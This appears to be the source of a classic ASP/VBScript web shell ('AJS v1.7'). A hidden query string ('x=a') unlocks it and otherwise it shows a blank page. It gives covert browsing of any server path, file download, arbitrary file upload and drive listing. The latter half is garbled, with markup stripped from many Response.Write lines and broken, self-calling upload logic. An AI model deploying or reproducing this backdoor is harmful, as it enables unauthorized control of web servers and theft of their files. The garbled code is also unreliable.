<%@ LANGUAGE = VBScript.Encode %>
<%
option explicit
on error resume next
Session.Timeout=30
Server.ScriptTimeout = 7200
session.lcid=2057
'************************* Varible *************************
Dim FSO, Fullpath, FilePath, FolderPath, folderLocation, js, aspTitle
Dim mode
'''''' Basic Settings '''''
aspTitle = "AJS v1.7"
'''''' Basic Settings '''''
Set FSO = CreateObject("Scripting.FileSystemObject")
Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1)
FolderPath = Left(Fullpath,InStrRev(Fullpath,"\"))
folderLocation = Request("location")
mode = Request("mode")
if(folderLocation = "" or folderLocation = "/" or folderLocation = "\") then
folderLocation = addslash(FolderPath)
else
folderLocation = addslash(folderLocation)
end if
If (LCase(Request.ServerVariables("QUERY_STRING"))="x=a") Then
Session("allow")=1
Session("myFolderList") = Array("noxxxinfo")
Session("myFileList") = Array("noxxxinfo")
Response.CacheControl = "no-cache"
Response.Status = "301 Moved Permanently"
Response.Expires = 0
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.AddHeader "Location", FilePath
Response.End
End If
If (Session("allow") <> 1) Then
Response.Expires = 0
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
Response.End
End If
Session("allow")=1
'************************* Varible *************************
'************************* JSON.asp *************************
class JSON
'private members
private output, innerCall
'public members
public toResponse ''[bool] should the generated representation be written directly to the response (using Response.Write )? default = false
public recordsetPaging ''[bool] indicates if only the current page should be processed on paged recordsets.
''e.g. would return only 10 records if RS.pagesize is set to 10. default = false (means that always all records are processed)
public sub class_initialize()
newGeneration()
toResponse = false
recordsetPaging = false
end sub
public function escape(val)
dim cDoubleQuote, cRevSolidus, cSolidus
cDoubleQuote = &h22
cRevSolidus = &h5C
cSolidus = &h2F
dim i, currentDigit
for i = 1 to (len(val))
currentDigit = mid(val, i, 1)
if ascw(currentDigit) > &h00 and ascw(currentDigit) < &h1F then
currentDigit = escapequence(currentDigit)
elseif ascw(currentDigit) >= &hC280 and ascw(currentDigit) <= &hC2BF then
currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC200), 2, 0), 2)
elseif ascw(currentDigit) >= &hC380 and ascw(currentDigit) <= &hC3BF then
currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC2C0), 2, 0), 2)
else
select case ascw(currentDigit)
case cDoubleQuote: currentDigit = escapequence(currentDigit)
case cRevSolidus: currentDigit = escapequence(currentDigit)
case cSolidus: currentDigit = escapequence(currentDigit)
end select
end if
escape = escape & currentDigit
next
end function
public default function toJSON(name, val, nested)
if not nested and not isEmpty(name) then write("{")
if not isEmpty(name) then write("""" & escape(name) & """: ")
generateValue(val)
if not nested and not isEmpty(name) then write("}")
toJSON = output
if innerCall = 0 then newGeneration()
end function
'******************************************************************************************************************
'* generate
'******************************************************************************************************************
private function generateValue(val)
if isNull(val) then
write("null")
elseif isArray(val) then
generateArray(val)
elseif isObject(val) then
dim tName : tName = typename(val)
if val is nothing then
write("null")
elseif tName = "Dictionary" or tName = "IRequestDictionary" then
generateDictionary(val)
elseif tName = "Recordset" then
generateRecordset(val)
elseif tName = "IRequest" then
set req = server.createObject("scripting.dictionary")
req.add "clientcertificate", val.ClientCertificate
req.add "cookies", val.cookies
req.add "form", val.form
req.add "querystring", val.queryString
req.add "servervariables", val.serverVariables
req.add "totalbytes", val.totalBytes
generateDictionary(req)
elseif tName = "IStringList" then
if val.count = 1 then
toJSON empty, val(1), true
else
generateArray(val)
end if
else
generateObject(val)
end if
else
'bool
dim varTyp
varTyp = varType(val)
if varTyp = 11 then
if val then write("true") else write("false")
'int, long, byte
elseif varTyp = 2 or varTyp = 3 or varTyp = 17 or varTyp = 19 then
write(cLng(val))
'single, double, currency
elseif varTyp = 4 or varTyp = 5 or varTyp = 6 or varTyp = 14 then
write(replace(cDbl(val), ",", "."))
else
write("""" & escape(val & "") & """")
end if
end if
generateValue = output
end function
'******************************************************************************************************************
'* generateArray
'******************************************************************************************************************
private sub generateArray(val)
dim item, i, stId
write("[")
if(val(0) <> "noxxxinfo") then
stId = 0
else
stId = 1
end if
'the for each allows us to support also multi dimensional arrays
for i = stId to UBound(val)
if i > stId then write(",")
generateValue(val(i))
next
write("]")
end sub
'******************************************************************************************************************
'* generateDictionary
'******************************************************************************************************************
private sub generateDictionary(val)
innerCall = innerCall + 1
if val.count = 0 then
toJSON empty, null, true
exit sub
end if
dim key, i
write("{")
i = 0
for each key in val
if i > 0 then write(",")
toJSON key, val(key), true
i = i + 1
next
write("}")
innerCall = innerCall - 1
end sub
'******************************************************************************************************************
'* generateRecordset
'******************************************************************************************************************
private sub generateRecordset(val)
dim i, curRow, colValue
write("[")
curRow = 0
'recordset.pagesize = -1 means it is not paged.
while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
innerCall = innerCall + 1
redim colValue(val.fields.count - 1)
for i = 0 to val.fields.count - 1
if IsNull(val.fields(i).value) then
colValue(i) = "NULL"
elseif (Trim(val.fields(i).value)="") then
colValue(i) = " "
else
colValue(i) = Server.HtmlEncode(val.fields(i).value)
end if
next
generateArray(colValue)
val.movenext()
curRow = curRow + 1
if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
innerCall = innerCall - 1
wend
write("]")
end sub
'******************************************************************************************************************
'* generateRecordset
'******************************************************************************************************************
private sub generateRecordsetX(val)
dim i, curRow
write("[")
curRow = 0
'recordset.pagesize = -1 means it is not paged.
while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
innerCall = innerCall + 1
write("{")
for i = 0 to val.fields.count - 1
if i > 0 then write(",")
toJSON lCase(val.fields(i).name), val.fields(i).value, true
next
write("}")
val.movenext()
curRow = curRow + 1
if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
innerCall = innerCall - 1
wend
write("]")
end sub
'******************************************************************************************************************
'* generateObject
'******************************************************************************************************************
private sub generateObject(val)
dim props
on error resume next
set props = val.reflect()
if err = 0 then
on error goto 0
innerCall = innerCall + 1
toJSON empty, props, true
innerCall = innerCall - 1
else
on error goto 0
write("""" & escape(typename(val)) & """")
end if
end sub
'******************************************************************************************************************
'* newGeneration
'******************************************************************************************************************
private sub newGeneration()
output = empty
innerCall = 0
end sub
'******************************************************************************************
'* JsonEscapeSquence
'******************************************************************************************
private function escapequence(digit)
escapequence = "\u00" + right(padLeft(hex(ascw(digit)), 2, 0), 2)
end function
'******************************************************************************************
'* padLeft
'******************************************************************************************
private function padLeft(value, totalLength, paddingChar)
padLeft = right(clone(paddingChar, totalLength) & value, totalLength)
end function
'******************************************************************************************
'* clone
'******************************************************************************************
private function clone(byVal str, n)
dim i
for i = 1 to n : clone = clone & str : next
end function
'******************************************************************************************
'* write
'******************************************************************************************
private sub write(val)
if toResponse then
Response.Write(val)
else
output = output & val
end if
end sub
end class
'************************* JSON.asp *************************
'************************* Func.asp *************************
function addslash(path)
if right(path,1)="\" then addslash=path else addslash=path & "\"
end function
Function FormatSize(intSize)
If (intSize < 1024) Then
FormatSize = intSize & " B"
ElseIf (intSize < 1024*1024) Then
FormatSize = FormatNumber(intSize/1024,2) & " KB"
ElseIf (intSize < 1024*1024*1024) Then
FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
Else
FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
End If
End Function
Function Base64Encode(inData)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim cOut, sOut, I
For I = 1 To Len(inData) Step 3
Dim nGroup, pOut, sGroup
nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
&H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
nGroup = Oct(nGroup)
nGroup = String(8 - Len(nGroup), "0") & nGroup
pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
sOut = sOut + pOut
Next
Select Case Len(inData) Mod 3
Case 1: '8 bit final
sOut = Left(sOut, Len(sOut) - 2) + "=="
Case 2: '16 bit final
sOut = Left(sOut, Len(sOut) - 1) + "="
End Select
Base64Encode = sOut
End Function
Function MyASC(OneChar)
If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
End Function
Function Base64Decode(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
Function Base64ToBSTR(strBase64)
Dim Byte1, Byte2, Byte3, Byte4
Dim Data
Dim iterator
Const CharMap = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
For iterator = 0 To Len(strBase64) - 1 Step 4
Byte1 = InStr(CharMap, Mid(strBase64, iterator + 1, 1)) - 1
Byte2 = InStr(CharMap, Mid(strBase64, iterator + 2, 1)) - 1
Byte3 = InStr(CharMap, Mid(strBase64, iterator + 3, 1)) - 1
Byte4 = InStr(CharMap, Mid(strBase64, iterator + 4, 1)) - 1
Data = Data & ChrB(Byte1 * 4 + Byte2 \ 16)
If Byte3 >= 0 Then
Data = Data & ChrB((Byte2 And 15) * 16 + Byte3 \ 4)
Else
Data = Data & ChrB((iterator * 3 \ 4 + 1) = (Byte2 And 15) * 16)
End If
If Byte4 >= 0 Then
Data = Data & ChrB((Byte3 And 3) * 64 + Byte4)
End If
Next
Base64ToBSTR = Data
End Function
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
' -----------------------------------------
' URL decode to retrieve the original value
Function URLDecode(sConvert)
Dim aSplit
Dim sOutput
Dim I
If IsNull(sConvert) Then
URLDecode = ""
Exit Function
End If
' convert all pluses to spaces
sOutput = REPLACE(sConvert, "+", " ")
' next convert %hexdigits to the character
aSplit = Split(sOutput, "%")
If IsArray(aSplit) Then
sOutput = aSplit(0)
For I = 0 to UBound(aSplit) - 1
sOutput = sOutput & _
Chr("&H" & Left(aSplit(i + 1), 2)) &_
Right(aSplit(i + 1), Len(aSplit(i + 1)) - 2)
Next
End If
URLDecode = sOutput
End Function
Private Sub DownloadFile(file)
'--declare variables
Dim strAbsFile
Dim strFileExtension
Dim objFSO
Dim objFile
Dim objStream
'-- set absolute file location
strAbsFile = file
'-- create FSO object to check if file exists and get properties
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
'-- check to see if the file exists
If objFSO.FileExists(strAbsFile) Then
Set objFile = objFSO.GetFile(strAbsFile)
'-- first clear the response, and then set the appropriate headers
Response.Clear
'-- the filename you give it will be the one that is shown
' to the users by default when they save
Response.AddHeader "Content-Disposition", "attachment; filename=" & objFile.Name
Response.AddHeader "Content-Length", objFile.Size
Response.ContentType = "application/octet-stream"
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
'-- set as binary
objStream.Type = 1
Response.CharSet = "UTF-8"
'-- load into the stream the file
objStream.LoadFromFile(strAbsFile)
'-- send the stream in the response
Response.BinaryWrite(objStream.Read)
objStream.Close
Set objStream = Nothing
Set objFile = Nothing
Else 'objFSO.FileExists(strAbsFile)
Response.Clear
Response.Write("No such file exists.")
End If
Set objFSO = Nothing
End Sub
'************************* Upload *************************
Class FileUploader
Public Files
Public mcolFormElem
Private Sub Class_Initialize()
Set Files = Server.CreateObject("Scripting.Dictionary")
Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
End Sub
Private Sub Class_Terminate()
If IsObject(Files) Then
Files.RemoveAll()
Set Files = Nothing
End If
If IsObject(mcolFormElem) Then
mcolFormElem.RemoveAll()
Set mcolFormElem = Nothing
End If
End Sub
Public Property Get Form(sIndex)
Form = ""
If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
End Property
Public Default Sub Upload()
Dim biData, sInputName
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
Dim nPosFile, nPosBound
biData = Request.BinaryRead(Request.TotalBytes)
nPosBegin = 1
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
nDataBoundPos = InstrB(1, biData, vDataBounds)
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
nPos = InstrB(nPos, biData, CByteString("name="))
nPosBegin = nPos + 6
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
If nPosFile <> 0 And nPosFile < nPosBound Then
Dim oUploadFile, sFileName
Set oUploadFile = New UploadedFile
nPosBegin = nPosFile + 10
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
nPosBegin = nPos + 14
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosBegin = nPosEnd+4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
Else
nPos = InstrB(nPos, biData, CByteString(Chr(13)))
nPosBegin = nPos + 4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
End If
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
Loop
End Sub
Private Function CByteString(sString)
Dim nIndex
For nIndex = 1 to Len(sString)
CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
Next
End Function
Private Function CWideString(bsString)
Dim nIndex
CWideString =""
For nIndex = 1 to LenB(bsString)
CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
Next
End Function
End Class
Class UploadedFile
Public ContentType
Public FileName
Public FileData
Public Property Get FileSize()
FileSize = LenB(FileData)
End Property
Public Sub SaveToDisk(sPath)
on error resume next
Dim oFS, oFile, nIndex
If sPath = "" Or FileName = "" Then Exit Sub
If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
If Not oFS.FolderExists(sPath) Then Exit Sub
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
For nIndex = 1 to LenB(FileData)
oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
Next
oFile.Close
End Sub
Public Sub SaveToDatabase(ByRef oField)
If LenB(FileData) = 0 Then Exit Sub
If IsObject(oField) Then
oField.AppendChunk FileData
End If
End Sub
End Class
function Upload(location)
Dim Uploader, File
Set Uploader = New FileUploader
Uploader.Upload()
If Uploader.Files.Count = 0 Then
Response.Write "File(s) not uploaded. File Uploaded: " & File.FileName & " : "
Response.Write "Failed (" & Err.Description & ") File Uploaded: " & Uploader.mcolFormElem.Item("location") & File.FileName & " " & aspTitle & " "
Response.Write ""
Response.Write "
"
Response.Write ""
Response.Write " File Upload "
linkBack = Upload(folderLocation)
Response.Write "[Back]
"
Response.Write "
"
driversText = driversText & ""
if drive_.Drivetype=1 then driversText = driversText & " Floppy Drive"
if drive_.Drivetype=2 then driversText = driversText & " Hard Disk"
if drive_.Drivetype=3 then driversText = driversText & " Network Drive"
if drive_.Drivetype=4 then driversText = driversText & " Cd-Rom"
driversText = driversText & " [" & drive_.DriveLetter & ":] "
if drive_.Drivetype=3 then driversText = driversText & " [Remove] "
driversText = driversText & " " & aspTitle & " "
Response.Write ""
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write ""
Response.Write " Error !!! "
Response.Write ""
Response.Write ""
Response.Write " "
Response.Write " "
Response.Write " "
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
Total : 0 folder(s) and 0 file(s)0 folder(s) and 0 file(s) listed ! "
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "[Back to Browser] Location : "
Response.Write ""
Response.Write ""
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "Drivers [ + ]
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write "
"
Response.Write ""
Response.Write "
"
Response.Write "